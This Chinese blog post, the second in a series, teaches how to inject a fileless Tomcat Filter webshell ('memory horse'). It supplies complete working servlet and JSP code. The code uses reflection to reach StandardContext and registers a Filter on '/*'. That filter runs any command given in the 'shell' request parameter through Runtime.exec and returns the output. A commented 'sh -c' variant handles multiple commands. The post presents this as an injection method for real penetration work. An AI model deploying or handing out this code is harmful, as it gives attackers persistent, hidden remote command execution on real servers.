Java Filter 型内存马调试系列 (二)

在上一篇文章 https://blog.youkuaiyun.com/leeezp/article/details/126303979 中简单讲述了新建一个java filter 和 servlet 及 filter 的调用顺序。web容器通过xml配置文件或注解知道这个类是一个过滤器类。(本文依赖的jar和上一篇文章一致,这里不再赘述)

内存马在实际渗透中的利用方法是找到一个注入点,动态的在内存中创建一个Filter对象。

那么,如何不使用xml和注解,动态创建并调用filter呢?

tomcat filter 的流程:

ApplicationFilterChain(记录了所有filter的信息)--将$this->filter--》filterConfig(获得了一个filter的相关信息)--filterConfig.filter--》filter
--doFilter--》调用自定义filter中的恶意代码

 网上找了一张 servlet 的关系图:

 

 可知 filterConfig 可以由 StandardContext 控制。

0x00

我们先写一个demo实现上图前三步的创建,使用官方提供的方法:

创建一个servlet,

TomcatServletTest.java
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;

@WebServlet(name = "TomcatServletTest", urlPatterns = "/tomcatServletTest")
public class TomcatServletTest extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        PrintWriter writer = response.getWriter();
        try {
            ServletContext servletContext = request.getServletContext();
            ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
            Class<ApplicationContextFacade> applicationContextFacadeClass = ApplicationContextFacade.class;
            Field applicationContextField = applicationContextFacadeClass.getDeclaredField("context");
            applicationContextField.setAccessible(true);
            Object applicationContextObj = applicationContextField.get(applicationContextFacade);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextObj;
            Class<ApplicationContext> applicationContextClass = ApplicationContext.class;
            Field standardContextField = applicationContextClass.getDeclaredField("context");
            standardContextField.setAccessible(true);
            Object standardContextObj = standardContextField.get(applicationContext);
            writer.append("ServletContext instance's class is: ")
                    .append(servletContext.getClass().getCanonicalName())
                    .append("\r\n")
                    .append("\r\n")
                    .append("ApplicationContext instance's class is: ")
                    .append(applicationContextObj.getClass().getCanonicalName())
                    .append("\r\n")
                    .append("\r\n")
                    .append("StandardContext instance's class is:")  
                    .append(standardContextObj.getClass().getCanonicalName());
        } catch (Exception e) {
            e.printStackTrace(writer);
        }
    }
}

 0x01 通过servlet动态创建一个filter

Servlet0811.java
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Scanner;
import java.util.logging.Logger;

@WebServlet(urlPatterns = "/Filter07")
public class Servlet0811 extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //反射创建servletContext
        ServletContext servletContext = request.getServletContext();
        ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
        try {
            Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
            applicationContextFacadeContext.setAccessible(true);  //设置在使用构造器的时候不执行权限检查 表示不检测方法是否为public或者private,否则抛出异常 Class Servlet0811 can not access a member of class org.apache.catalina.core.StandardContext with modifiers "private"
            //反射创建applicationContext
            ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
            Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
            applicationContextContext.setAccessible(true);
            //反射创建standardContext
            StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

            //创建filterConfigs
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap hashMap = (HashMap) filterConfigs.get(standardContext); // 获取所有filters
            String filtername = "Filter";
            if (hashMap.get(filtername) == null) {  // 首次加载没有这个filter
                Filter filter = new Filter() {
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {
                        Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
                        log.info("注入初始化");

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        servletRequest.setCharacterEncoding("utf-8");
                        servletResponse.setCharacterEncoding("utf-8");
                        servletResponse.setContentType("text/html;charset=UTF-8");
                        filterChain.doFilter(servletRequest, servletResponse);         // 加这句话为了不影响原程序功能,把filter向后传递


                        HttpServletRequest req = (HttpServletRequest) request;
                        InputStream in = Runtime.getRuntime().exec(req.getParameter("shell")).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\A");
                        String output = s.hasNext() ? s.next() : "";
                        response.getWriter().write(output);
                        Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
                        log.info("过滤中...");
                    }

                    @Override
                    public void destroy() {
                        Logger log = Logger.getLogger("Filter"); //import java.util.logging.Logger;
                        log.info("destroy");
                    }
                };

                //构造filterDef对象
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(filtername);
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);

                //构造filterMap对象
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(filtername);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);

                //构造filterConfig
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); // 调用 new Filter(){ init(FilterConfig filterConfig) }

                //将filterConfig添加到filterConfigs中,即可完成注入
                hashMap.put(filtername, applicationFilterConfig);
                response.getWriter().println("success");
            }


        } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }


    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

首次访问,注入内存马成功:

 继续访问内存马,执行命令:

如果你感兴趣filter的执行调用顺序, 我在程序里打了断点调试,你可以尝试下断点分析,我的断点截图如下:

 

0x02 实战注入内存马

实战中不会依赖于xml或注解,通过jsp方式可以实现动态注入一个内存马。

index.jsp

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.logging.Logger" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
    //反射创建servletContext
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    //反射创建applicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //反射创建standardContext
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName) == null) {


        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                Logger log = Logger.getLogger("Filter");
                log.info("注入初始化");
            }


            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest, servletResponse);
                HttpServletRequest req = (HttpServletRequest) request;
                // 获取单个命令的返回结果
                InputStream in = Runtime.getRuntime().exec(req.getParameter("shell")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);

                /* 获取多个命令的返回结果   // ?shell=whoami%20%26%20id
                String param=req.getParameter("shell");
                InputStream in = Runtime.getRuntime().exec(new String[]{"sh", "-c",param}).getInputStream();
                BufferedReader reader = new BufferedReader(new InputStreamReader(in));
                String line;
                while((line = reader.readLine())!= null){
                    response.getWriter().write(line);
                }
                */

                Logger log = Logger.getLogger("Filter");
                log.info("过滤中");
            }


            @Override
            public void destroy() {
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName, applicationFilterConfig);
        response.getWriter().println("successfully");
    }
%>

这段代码 和 0x01 里写的基本一致,只是将代码从servlet移植到了jsp,代码里默认开启的是

Runtime.getRuntime().exec()

获取单个命令的返回值的方法,在注释里也给出了获取多个命令返回值的方法。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值